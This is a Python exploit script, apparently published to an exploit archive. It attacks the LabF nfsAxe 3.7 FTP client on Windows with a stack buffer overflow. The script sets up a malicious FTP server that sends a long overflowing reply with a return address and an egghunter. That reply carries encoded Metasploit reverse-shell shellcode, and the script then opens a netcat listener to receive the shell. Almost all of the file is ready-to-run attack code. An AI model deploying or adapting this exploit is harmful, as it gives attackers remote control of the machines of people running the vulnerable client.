#!/usr/bin/env python
import sys
import socket
import struct
import subprocess

# Exploit Title: LabF nfsAxe 3.7 FTP Client - Stack Based Buffer Overflow w/ egghunter
# Date: 28-09-2017
# Exploit Author: Amonsec
# Contact: https://twitter.com/am0nsec
# Website: https://amonsec.com
# CVE: /
# Category: Remote
# Platform: Windows
# Tested OS: Windows 7 SP1 (Professionnel)
# Vendor Homepage: http://www.labf.com/index.html
# Software Link: www.labf.com/download/nfsaxe.exe
# Version: 3.7

# Thanks:
#     Offensive Security Team (https://www.offensive-security.com/)
#     Corelan (https://www.corelan.be/)
#     Ch3rn0byl (http://ch3rn0byl.com/)

_RED = '\x1b[1;31m'
_BLU = '\x1b[1;34m'
_GRE = '\x1b[1;32m'
_RST = '\x1b[0;0;0m'
successMessage = lambda x: '{}[+]{} {}'.format(_GRE, _RST, x)
errorMessage = lambda x: '{}[-]{} {}'.format(_RED, _RST, x)
infoMessage = lambda x: '{}[*]{} {}'.format(_BLU, _RST, x)

lhost = "0.0.0.0"
lport = 21

#----------------------------------------------------------------------------------------------------#
# Metasploit shellcode                                                                               #
# msfvenom --platform windows -p windows/shell_reverse_tcp LPORT=1337 LHOST=192.168.1.39 \           #
#  -e x86/alpha_mixed -f raw '\x00\x0a\x0d' EXITFUNC=thread BufferRegister=EDI                       #
#----------------------------------------------------------------------------------------------------#
shellcode = ''
shellcode += 'WYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIkLJHK2WpwpS0apmYxeP1IP0dnkf0P0Nk'
shellcode += '3bvlNkaBeDnkt2ThDOh7rjvFUa9oNLele1alURfLa0o1zoTM6ahGM2ZRV2RwLK3bVpnkBjElnkRl21ahm3aX'
shellcode += '6axQV1Nk2yEpgqYClKPI28hcGJSyNk4tnkc1hVP1yollo1xOfmFa9W08M03EIftCsM9hEkSMut3EYtaHlK68'
shellcode += 'WTuQiCRFNkVlPKlKaHglc1IClKgtLKfaxPk9PD5tq41K3kSQQIpZv1Yom03oSorzLKDRZKnmCm1xdsvR5Pgp'
shellcode += 'qxRWcCdrCortcX0LagDfUWKOYEMhz0c1EP30eyiTSdbpu86IOprKGpIozupPV0F0V01PPPCpf0sXKZ4OkoYp'
shellcode += 'Yo9EmGcZfeU8YPi8FauwrHvbUPEUuimYYv1zdP0VrwaxNyi5T4U1yon5lEyPqdtL9orntH1ejL2HhpmenBsf'
shellcode += 'io8UaxpcRMPdGpniJCPW1GcgDqYfSZ4RF9v6KR9mU6YW74etUlFaVanmBdVDfpXFGpstSd0Psfrv1Fw6aFRn'
shellcode += 'F6RvBs2vSXT9ZluoK6yoHUmYKPbnPVQV9op0bHVhk7gmcPyo9EoKipuMWZEZcXLfj5MmOmyon5uleVCLuZK0'
shellcode += 'IkipsEdEOK2g7cCBPo2JWpSc9oZuAA'

#----------------------------------------------------------------------------------------------------#
# Basic 32 bytes agghunter:                                                                          #
# Marker: "AmonAmon"                                                                                 #
#----------------------------------------------------------------------------------------------------#
egghunter = ''
egghunter += '\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58'
egghunter += '\xcd\x2e\x3c\x05\x5a\x74\xef\xb8'
egghunter += '\x41\x6d\x6f\x6e'
egghunter += '\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7'

#----------------------------------------------------------------------------------------------------#
# (*) First stage badchars = '\x00\x0a\x0d'                                                          #
#                                                                                                    #
# (1) Crash to EIP 2063-bytes                                                                        #
# (2) EIP: 0x6809d408 push esp; ret [WCMDPA10.dll]                                                   #
# (3) Egghunter                                                                                      #
#----------------------------------------------------------------------------------------------------#
exploit = ''
exploit += '\x41' * 2063                                      # Junk
exploit += struct.pack('<L', 0x6809d408)                      # push esp; ret
exploit += '\x41' * 16                                        # Junk
exploit += egghunter                                          # Egghunter
exploit += '\x43' * (4000 - 2063 - 4 - len(egghunter) - 16)   # Junk

#----------------------------------------------------------------------------------------------------#
# (*) Second stage badchars = '\x00\x0a'                                                             #
#                                                                                                    #
# (1) Your marker: AmonAmon                                                                          #
# (2) Metasploit shellcode                                                                           #
#----------------------------------------------------------------------------------------------------#
stage = ''
stage += 'AmonAmon'
stage += shellcode

#----------------------------------------------------------------------------------------------------#
# (*) Evil FTP server                                                                                #
#                                                                                                    #
# (1) Create a socket on the port 21                                                                 #
# (2) Wait for a connection                                                                          #
# (3) Initlize the connection                                                                        #
# (4) Send the encoded Metasploit shellcode                                                          #
# (5) Send the evil FTP response                                                                     #
# (6) A reverse shell?!                                                                              #
#----------------------------------------------------------------------------------------------------#
try:
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.bind((lhost, lport))
	s.listen(1)

	print infoMessage('LabF nfsAxe 3.7 FTP Client - Stack Based Buffer Overflow w/ egghunter exploit')
	print infoMessage('Author: {}Amonsec{}'.format(_RED, _RST))
	print infoMessage('Evil FTP server waiting for a connection')
	target, addr = s.accept()
	print successMessage('Connection from {}'.format(addr))

	target.send('220 Welcome to DOOM FTP server\r\n')
	target.recv(1024)
	target.send('331 OK\r\n')
	target.recv(1024)
	target.send('230 OK\r\n')
	target.recv(1024)
	target.send('220 {}\r\n'.format(stage))
	target.recv(1024)
	target.send('220 "{}" offsec is delivering the good like\r\n'.format(exploit))

	s.close()
	target.close()

	print ''
	print infoMessage('Hunting the marker, don\'t remove the popup!')
	print successMessage('Time for a reverse shell?!')
	subprocess.call(['nc -lnvp 1337'], shell=True)

except socket.error as error:
	print errorMessage('Error: ' + str(error))
	s.close()
	target.close()
	sys.exit(1)

except KeyboardInterrupt:
	s.close()
	target.close()
	sys.exit(1)
